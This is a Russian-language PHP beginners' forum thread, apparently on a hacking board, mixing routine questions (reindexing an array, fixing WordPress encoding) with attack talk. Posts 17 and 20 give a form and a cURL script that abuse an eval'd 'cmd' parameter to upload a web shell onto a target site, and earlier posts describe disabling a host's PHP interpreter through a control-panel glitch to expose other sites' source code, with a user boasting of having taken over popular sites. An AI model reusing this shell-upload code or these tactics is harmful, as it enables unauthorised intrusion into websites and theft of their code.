[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Есть массив:
    Code:
    $test[1]="Бля";
    $test[4]="Бля-Бля";
    $test[6]="Бля-Бля-Бля";
    
    Какой функций можно убрать промежутки между индексом и получить следующие:

    Code:
    $test[0]="Бля";
    $test[1]="Бля-Бля";
    $test[2]="Бля-Бля-Бля";
    
    implode() и explode() не вариант
     
  2. DoN

    DoN Member

    Joined:
    26 May 2010
    Messages:
    39
    Likes Received:
    20
    Reputations:
    0
    есть спец.функция. ищи в на офф.сайте в функциях обработки array

    А вообще создаешь новый массив и в цыкле помещаешь в него по одному значению)
     
  3. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    DoN,
    m0Hze уже назвал ф-ю
     
  4. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    быдлокод: перебери форичем и создай новый массив
     
  5. Getty

    Getty Banned

    Joined:
    17 Jun 2010
    Messages:
    104
    Likes Received:
    1
    Reputations:
    0
    Доброго времени суток, у меня вопрос.
    Как сохранить php скрипт не выполняя его ?

    То есть, есть скрипт site.ru/1.php, при его открытии он выдает значение "1", если клацнуть по линку с site.ru/index.php то он выдает значение "2". Так вот мне нужно скопировать (передрать) его без значений, то есть он мне нужен в таком виде в котором он лежит на хосте. права на нем или 644 или 777.

    Спасибо!
     
  6. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    никак
     
  7. DoN

    DoN Member

    Joined:
    26 May 2010
    Messages:
    39
    Likes Received:
    20
    Reputations:
    0
    <?
    $page = file_get_contents("http://site.ru");
    echo $page;
    ?>
     
  8. apolon47

    apolon47 Banned

    Joined:
    13 Apr 2009
    Messages:
    119
    Likes Received:
    14
    Reputations:
    4
    Code:
    $newArray = array_values($test);
     
  9. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Так ты получишь только результат выполнения этого скрипта.
    Исходный код удаленно никак не полчить.
     
  10. DoN

    DoN Member

    Joined:
    26 May 2010
    Messages:
    39
    Likes Received:
    20
    Reputations:
    0
    аа. так он хотел исходники получить?

    почему не возможно удаленно? хоть и не скриптом, но есть 3 варианта:
    1. дать $ саппорту сайта
    2. убить интерпретатор php
    3. убрать .php из разшерений интерпретатора php
     
  11. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    охлол

    Ты правда собирашься удаленно "отключить интерпретатор php"?
     
  12. DoN

    DoN Member

    Joined:
    26 May 2010
    Messages:
    39
    Likes Received:
    20
    Reputations:
    0
    Угу. Раньше в isp был такой глюк, можна было отрубить пехешку при добавлении домена, когда сервер апах перегагружался
     
  13. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Ну да, ты удаленно зайдешь в isp и будешь удалять домен\перезагружать апач?
     
  14. DoN

    DoN Member

    Joined:
    26 May 2010
    Messages:
    39
    Likes Received:
    20
    Reputations:
    0
    Какой ты догадливый.

    Я там регнусь) и сделаю это.
    пехешка вырубается на всём сервере.

    сам раньше так делал
     
  15. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    на нормальном хостинге серверов может быть штук 30
    и если чел регался год назад, то твоя рега попадет на далекий сервер...

    даже если рега с разницей пару месяцев - все равно не попадешь на его сервак
     
  16. DoN

    DoN Member

    Joined:
    26 May 2010
    Messages:
    39
    Likes Received:
    20
    Reputations:
    0
    И всё же я прибрал так много популярных сайтов)

    Ну и это один из вариантов
     
    1 person likes this.
  17. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Появилась проблема - не могу курлом через эвал залить шелл (
    PHP:
    <form action="http://site.ru/script.php?cmd=copy($_FILES[file][tmp_name], $_GET[bob]);&bob=path/to/shell/123.php" method="post" enctype="multipart/form-data">
    <
    input type="file" name="file">
    <
    input type="submit" value="upload">
    </
    form>
    Открываю, сабмиччу форму - шелл льется прекрасно


    PHP:

    <?php
    $zapr
    ='http://site.ru/script.php?cmd=copy($_FILES[file][tmp_name], $_GET[bob]);&bob=path/to/shell/123.php';
    $curl curl_init($zapr);
    curl_setopt($curlCURLOPT_POST1);
    curl_setopt($curlCURLOPT_TIMEOUT60);
    curl_setopt($curlCURLOPT_RETURNTRANSFER1);
    curl_setopt($curlCURLOPT_POSTFIELDS,array("file"=>"@C:\shell.txt"));
    $res curl_exec($curl);
    echo 
    $res;
    curl_close($curl);
    ?>
    А так не льется :(
    Что я делаю не так?
     
  18. Getty

    Getty Banned

    Joined:
    17 Jun 2010
    Messages:
    104
    Likes Received:
    1
    Reputations:
    0
    Подскажите, что сделать, чтобы в WordPress вместо: "ґСЂР°РІР»СЏ", выводились нормальные символы? ВП стоит на денвере.
     
  19. DoN

    DoN Member

    Joined:
    26 May 2010
    Messages:
    39
    Likes Received:
    20
    Reputations:
    0
    Поставь в настройках кодировку или UTF-8 или windows-1251
     
    1 person likes this.
  20. DoN

    DoN Member

    Joined:
    26 May 2010
    Messages:
    39
    Likes Received:
    20
    Reputations:
    0
    Зачем curl?

    <?php
    if (file_get_contents("тут запрос с заливкой шелла")) {
    echo "Удачный запрос";
    } else {

    echo "Фиг-Вам";
    }
    ?>
     
Thread Status:
Not open for further replies.